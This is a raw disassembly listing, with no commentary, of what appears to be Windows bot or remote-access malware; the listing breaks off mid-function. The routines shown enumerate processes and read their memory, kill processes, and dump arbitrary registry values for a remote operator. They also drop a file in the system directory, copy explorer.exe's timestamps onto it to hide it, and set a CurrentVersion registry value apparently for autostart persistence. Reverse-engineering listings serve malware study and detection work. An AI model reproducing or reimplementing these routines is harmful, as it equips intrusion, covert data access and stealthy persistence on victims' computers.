dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push esi push edi push offset dword_41E2B0 call sub_409C6C pop ecx movzx eax, byte_41E2CC test eax, eax jnz short loc_406074 push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp loc_40636A ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: sub_406041+1Fj and [ebp+var_C], 0 and [ebp+var_4], 0 and [ebp+var_1C], 0 push [ebp+var_1C] call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_406097 jmp loc_406368 ; --------------------------------------------------------------------------- loc_406097: ; CODE XREF: sub_406041+4Fj ; sub_406041:loc_4060E9j mov eax, [ebp+var_1C] add eax, 80h mov [ebp+var_1C], eax push [ebp+var_1C] push [ebp+var_14] call sub_416BF6 ; realloc pop ecx pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4060BD jmp loc_406366 ; --------------------------------------------------------------------------- loc_4060BD: ; CODE XREF: sub_406041+75j lea eax, [ebp+var_4] push eax push [ebp+var_1C] push [ebp+var_14] call dword_41E2AC test eax, eax jnz short loc_4060DF push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406364 ; --------------------------------------------------------------------------- loc_4060DF: ; CODE XREF: sub_406041+8Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] jnb short loc_4060E9 jmp short loc_4060EB ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_406041+A4j jmp short loc_406097 ; --------------------------------------------------------------------------- loc_4060EB: ; CODE XREF: sub_406041+A6j mov eax, [ebp+var_4] shr eax, 2 mov [ebp+var_8], eax mov eax, [ebp+var_8] imul eax, 114h add eax, 8 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40611E push [ebp+var_14] call sub_416B4C ; free pop ecx jmp loc_406362 ; --------------------------------------------------------------------------- loc_40611E: ; CODE XREF: sub_406041+CDj mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax], ecx mov eax, [ebp+var_C] add eax, 8 mov ecx, [ebp+var_C] mov [ecx+4], eax and [ebp+var_10], 0 jmp short loc_40613F ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_406041+156j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40613F: ; CODE XREF: sub_406041+F5j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb short loc_406199 push 114h push 0 mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_10] mov esi, [ebp+var_14] mov edx, [esi+edx*4] mov [ecx+eax], edx push offset aSystem ; "system" mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_406138 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406041+104j push [ebp+var_14] call sub_416B4C ; free pop ecx and [ebp+var_10], 0 jmp short loc_4061AF ; --------------------------------------------------------------------------- loc_4061A8: ; CODE XREF: sub_406041+1A8j ; sub_406041+1D8j ... mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_4061AF: ; CODE XREF: sub_406041+165j mov eax, [ebp+var_10] cmp eax, [ebp+var_8] jnb loc_406343 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 push 410h call ds:dword_417094 ; OpenProcess mov [ebp+var_130], eax cmp [ebp+var_130], 0 jnz short loc_4061EB jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_4061EB: ; CODE XREF: sub_406041+1A6j and [ebp+var_20], 0 and [ebp+var_28], 0 lea eax, [ebp+var_20] push eax push 4 lea eax, [ebp+var_28] push eax push [ebp+var_130] call dword_41E2A0 test eax, eax jnz short loc_40621B push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp short loc_4061A8 ; --------------------------------------------------------------------------- loc_40621B: ; CODE XREF: sub_406041+1CAj push 0Ch lea eax, [ebp+var_13C] push eax push [ebp+var_28] push [ebp+var_130] call dword_41E2A8 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_13C] mov [ecx+eax+4], edx mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_138] mov [ecx+eax+8], edx mov al, byte_41DE30 mov [ebp+var_12C], al push 40h pop ecx xor eax, eax lea edi, [ebp+var_12B] rep stosd stosw stosb push 104h lea eax, [ebp+var_12C] push eax push [ebp+var_13C] push [ebp+var_130] call dword_41E2A4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_406332 movsx eax, [ebp+var_12C] test eax, eax jz short loc_406332 push 104h lea eax, [ebp+var_12C] push eax mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_12C] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_18], eax jmp short loc_4062F7 ; --------------------------------------------------------------------------- loc_4062F0: ; CODE XREF: sub_406041:loc_406330j mov eax, [ebp+var_18] dec eax mov [ebp+var_18], eax loc_4062F7: ; CODE XREF: sub_406041+2ADj cmp [ebp+var_18], 0 jz short loc_406332 cmp [ebp+var_18], 1 ja short loc_406305 jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406305: ; CODE XREF: sub_406041+2C0j mov eax, [ebp+var_18] movsx eax, byte ptr [ebp+eax+var_130+3] cmp eax, 5Ch jnz short loc_406330 mov eax, [ebp+var_10] imul eax, 114h mov ecx, [ebp+var_C] mov ecx, [ecx+4] mov edx, [ebp+var_18] mov [ecx+eax+110h], edx jmp short loc_406332 ; --------------------------------------------------------------------------- loc_406330: ; CODE XREF: sub_406041+2D2j jmp short loc_4062F0 ; --------------------------------------------------------------------------- loc_406332: ; CODE XREF: sub_406041+264j ; sub_406041+273j ... push [ebp+var_130] call ds:dword_4170A4 ; CloseHandle jmp loc_4061A8 ; --------------------------------------------------------------------------- loc_406343: ; CODE XREF: sub_406041+174j push offset dword_41E2B0 call sub_409C7A pop ecx mov eax, [ebp+var_C] jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406353: ; CODE XREF: sub_406041:loc_406362j ; sub_406041:loc_406364j ... push offset dword_41E2B0 call sub_409C7A pop ecx xor eax, eax jmp short loc_40636A ; --------------------------------------------------------------------------- loc_406362: ; CODE XREF: sub_406041+D8j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406364: ; CODE XREF: sub_406041+99j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406366: ; CODE XREF: sub_406041+77j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_406368: ; CODE XREF: sub_406041+51j jmp short loc_406353 ; --------------------------------------------------------------------------- loc_40636A: ; CODE XREF: sub_406041+2Ej ; sub_406041+310j ... pop edi pop esi leave retn sub_406041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40636E proc near ; CODE XREF: .text:00401716p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_40636E endp ; --------------------------------------------------------------------------- loc_40637C: ; DATA XREF: sub_4064BF+3Bo push ebp mov ebp, esp sub esp, 1B0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-1A8h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_406041 mov [ebp-1ACh], eax cmp dword ptr [ebp-1ACh], 0 jz loc_4064AD mov eax, [ebp-1ACh] push dword ptr [eax] mov eax, [ebp-1A8h] push dword ptr [eax] push offset dword_418B1C lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 10h and dword ptr [ebp-1B0h], 0 jmp short loc_4063F7 ; --------------------------------------------------------------------------- loc_4063EA: ; CODE XREF: .text:loc_40649Cj mov eax, [ebp-1B0h] inc eax mov [ebp-1B0h], eax loc_4063F7: ; CODE XREF: .text:004063E8j mov eax, [ebp-1ACh] mov ecx, [ebp-1B0h] cmp ecx, [eax] jge loc_4064A1 push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax+8] mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax+4] mov eax, [ebp-1B0h] imul eax, 114h mov ecx, [ebp-1ACh] mov ecx, [ecx+4] push dword ptr [ecx+eax] push offset dword_418B04 lea eax, [ebp-1A4h] push eax call sub_40D53F add esp, 18h mov eax, [ebp-1A8h] cmp dword ptr [eax+4], 0 jz short loc_40649C jmp short loc_4064A1 ; --------------------------------------------------------------------------- loc_40649C: ; CODE XREF: .text:00406498j jmp loc_4063EA ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: .text:00406405j ; .text:0040649Aj push dword ptr [ebp-1ACh] call sub_416B4C ; free pop ecx loc_4064AD: ; CODE XREF: .text:004063B7j push dword ptr [ebp-1A8h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064BF proc near ; CODE XREF: sub_40A9CF+3FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4064D9 jmp short locret_406507 ; --------------------------------------------------------------------------- loc_4064D9: ; CODE XREF: sub_4064BF+16j push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aListProcesses ; "List processes" push 0 push [ebp+var_4] push offset loc_40637C call sub_4095A4 add esp, 10h locret_406507: ; CODE XREF: sub_4064BF+18j leave retn sub_4064BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406509 proc near ; CODE XREF: sub_40A9CF+9C9p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_4], 0 jz short loc_40651B cmp [ebp+arg_C], 0 jnz short loc_406520 loc_40651B: ; CODE XREF: sub_406509+Aj jmp locret_406641 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406509+10j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax push [ebp+arg_8] call sub_40A8AD pop ecx mov [ebp+var_C], eax push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 180h jbe short loc_406554 mov [ebp+var_4], 180h loc_406554: ; CODE XREF: sub_406509+42j mov eax, [ebp+var_4] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax push [ebp+var_8] push 0 push 10h call ds:dword_417094 ; OpenProcess mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_406586 push [ebp+var_1C] call sub_416B4C ; free pop ecx jmp locret_406641 ; --------------------------------------------------------------------------- loc_406586: ; CODE XREF: sub_406509+6Dj and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push [ebp+var_4] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_18] call ds:dword_417098 ; ReadProcessMemory mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40662F cmp [ebp+var_14], 0 jz short loc_40662F mov eax, [ebp+var_1C] add eax, [ebp+var_4] and byte ptr [eax], 0 and [ebp+var_20], 0 jmp short loc_4065C9 ; --------------------------------------------------------------------------- loc_4065C2: ; CODE XREF: sub_406509:loc_406620j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4065C9: ; CODE XREF: sub_406509+B7j mov eax, [ebp+var_20] cmp eax, [ebp+var_14] jnb short loc_406622 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 1Fh jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 16h jz short loc_406617 mov eax, [ebp+var_1C] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 10h jg short loc_406620 loc_406617: ; CODE XREF: sub_406509+D4j ; sub_406509+E2j ... mov eax, [ebp+var_1C] add eax, [ebp+var_20] mov byte ptr [eax], 2Eh loc_406620: ; CODE XREF: sub_406509+10Cj jmp short loc_4065C2 ; --------------------------------------------------------------------------- loc_406622: ; CODE XREF: sub_406509+C6j push [ebp+var_1C] push [ebp+arg_0] call sub_40D53F pop ecx pop ecx loc_40662F: ; CODE XREF: sub_406509+9Ej ; sub_406509+A8j push [ebp+var_1C] call sub_416B4C ; free pop ecx push [ebp+var_18] call ds:dword_4170A4 ; CloseHandle locret_406641: ; CODE XREF: sub_406509:loc_40651Bj ; sub_406509+78j leave retn sub_406509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406643 proc near ; CODE XREF: sub_40A9CF+3D7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_406650 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406650: ; CODE XREF: sub_406643+9j push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_4], eax call ds:dword_4170E8 ; GetCurrentProcessId cmp [ebp+var_4], eax jnz short loc_406669 jmp short locret_40668D ; --------------------------------------------------------------------------- loc_406669: ; CODE XREF: sub_406643+22j push [ebp+var_4] push 0 push 1 call ds:dword_417094 ; OpenProcess mov [ebp+var_8], eax push 0 push [ebp+var_8] call ds:dword_4170A0 ; TerminateProcess push [ebp+var_8] call ds:dword_4170A4 ; CloseHandle locret_40668D: ; CODE XREF: sub_406643+Bj ; sub_406643+24j leave retn sub_406643 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40668F proc near ; CODE XREF: .text:00403F3Cp ; sub_40A9CF+BDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4066A0 ; --------------------------------------------------------------------------- loc_406699: ; CODE XREF: sub_40668F+2Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066A0: ; CODE XREF: sub_40668F+8j cmp [ebp+var_4], 8 jge short loc_4066BB push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_406699 ; --------------------------------------------------------------------------- loc_4066BB: ; CODE XREF: sub_40668F+15j mov eax, [ebp+arg_0] and byte ptr [eax+8], 0 and [ebp+var_4], 0 jmp short loc_4066CF ; --------------------------------------------------------------------------- loc_4066C8: ; CODE XREF: sub_40668F+59j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066CF: ; CODE XREF: sub_40668F+37j cmp [ebp+var_4], 6 jge short loc_4066EA push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066C8 ; --------------------------------------------------------------------------- loc_4066EA: ; CODE XREF: sub_40668F+44j mov eax, [ebp+arg_4] and byte ptr [eax+6], 0 and [ebp+var_4], 0 jmp short loc_4066FE ; --------------------------------------------------------------------------- loc_4066F7: ; CODE XREF: sub_40668F+88j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4066FE: ; CODE XREF: sub_40668F+66j cmp [ebp+var_4], 10h jge short loc_406719 push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4066F7 ; --------------------------------------------------------------------------- loc_406719: ; CODE XREF: sub_40668F+73j mov eax, [ebp+arg_8] and byte ptr [eax+10h], 0 leave retn sub_40668F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406722 proc near ; CODE XREF: sub_40A9CF+F40p var_424 = byte ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 424h cmp [ebp+arg_4], 0 jnz short loc_406736 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406736: ; CODE XREF: sub_406722+Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+4] cmp eax, 5Ch jz short loc_406747 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406747: ; CODE XREF: sub_406722+1Ej push 4 push offset aHkcr ; "HKCR" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_406769 mov [ebp+var_218], 80000000h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_406769: ; CODE XREF: sub_406722+39j push 4 push offset aHkcu ; "HKCU" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40678B mov [ebp+var_218], 80000001h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_40678B: ; CODE XREF: sub_406722+5Bj push 4 push offset aHklm ; "HKLM" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067AD mov [ebp+var_218], 80000002h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067AD: ; CODE XREF: sub_406722+7Dj push 4 push offset aHkus ; "HKUS" push [ebp+arg_4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_4067CF mov [ebp+var_218], 80000003h jmp short loc_4067D4 ; --------------------------------------------------------------------------- loc_4067CF: ; CODE XREF: sub_406722+9Fj jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4067D4: ; CODE XREF: sub_406722+45j ; sub_406722+67j ... mov eax, [ebp+arg_4] add eax, 5 mov [ebp+arg_4], eax push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_210], eax jmp short loc_4067FB ; --------------------------------------------------------------------------- loc_4067EE: ; CODE XREF: sub_406722:loc_406858j mov eax, [ebp+var_210] dec eax mov [ebp+var_210], eax loc_4067FB: ; CODE XREF: sub_406722+CAj cmp [ebp+var_210], 0 jnz short loc_406809 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_406809: ; CODE XREF: sub_406722+E0j mov eax, [ebp+arg_4] add eax, [ebp+var_210] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406858 mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax call sub_416B40 ; strlen pop ecx cmp eax, 200h jb short loc_40683A jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40683A: ; CODE XREF: sub_406722+111j mov eax, [ebp+var_210] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40685A ; --------------------------------------------------------------------------- loc_406858: ; CODE XREF: sub_406722+F6j jmp short loc_4067EE ; --------------------------------------------------------------------------- loc_40685A: ; CODE XREF: sub_406722+134j cmp [ebp+var_210], 200h jb short loc_40686B jmp locret_406A21 ; --------------------------------------------------------------------------- loc_40686B: ; CODE XREF: sub_406722+142j push [ebp+var_210] push [ebp+arg_4] lea eax, [ebp+var_418] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_210] and [ebp+eax+var_418], 0 lea eax, [ebp+var_C] push eax push 1 push 0 lea eax, [ebp+var_418] push eax push [ebp+var_218] call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_4068B5 jmp locret_406A21 ; --------------------------------------------------------------------------- loc_4068B5: ; CODE XREF: sub_406722+18Cj mov [ebp+var_8], 1000h push [ebp+var_8] call sub_416B46 ; malloc pop ecx mov [ebp+var_214], eax lea eax, [ebp+var_8] push eax push [ebp+var_214] lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_20C] push eax push [ebp+var_C] call ds:dword_41700C ; RegQueryValueExA test eax, eax jnz loc_406A0C cmp [ebp+var_4], 1 jz short loc_4068FF cmp [ebp+var_4], 2 jnz short loc_406915 loc_4068FF: ; CODE XREF: sub_406722+1D5j push [ebp+var_214] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406915: ; CODE XREF: sub_406722+1DBj cmp [ebp+var_4], 4 jnz short loc_406933 mov eax, [ebp+var_214] push dword ptr [eax] push offset a08x ; "%08X" push [ebp+arg_0] call sub_40D53F add esp, 0Ch loc_406933: ; CODE XREF: sub_406722+1F7j cmp [ebp+var_4], 3 jnz loc_406A0C push 180h call sub_416B46 ; malloc pop ecx mov [ebp+var_420], eax mov eax, [ebp+var_420] and byte ptr [eax], 0 and [ebp+var_41C], 0 jmp short loc_40696D ; --------------------------------------------------------------------------- loc_406960: ; CODE XREF: sub_406722+2C3j mov eax, [ebp+var_41C] inc eax mov [ebp+var_41C], eax loc_40696D: ; CODE XREF: sub_406722+23Cj mov eax, [ebp+var_41C] cmp eax, [ebp+var_8] jnb short loc_4069EA mov eax, [ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset a02x ; "%02X" lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; _mbscat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call ds:dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset asc_418DE0 ; ":)" call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call ds:dword_417040 ; GetWindowsDirectoryA push offset aExplorer_exe ; "\\explorer.exe" lea eax, [ebp+var_11C] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_417048 ; GetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_41704C ; SetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call ds:dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_108] push eax call ds:dword_41703C ; lstrlen inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call ds:dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call ds:dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call ds:dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop 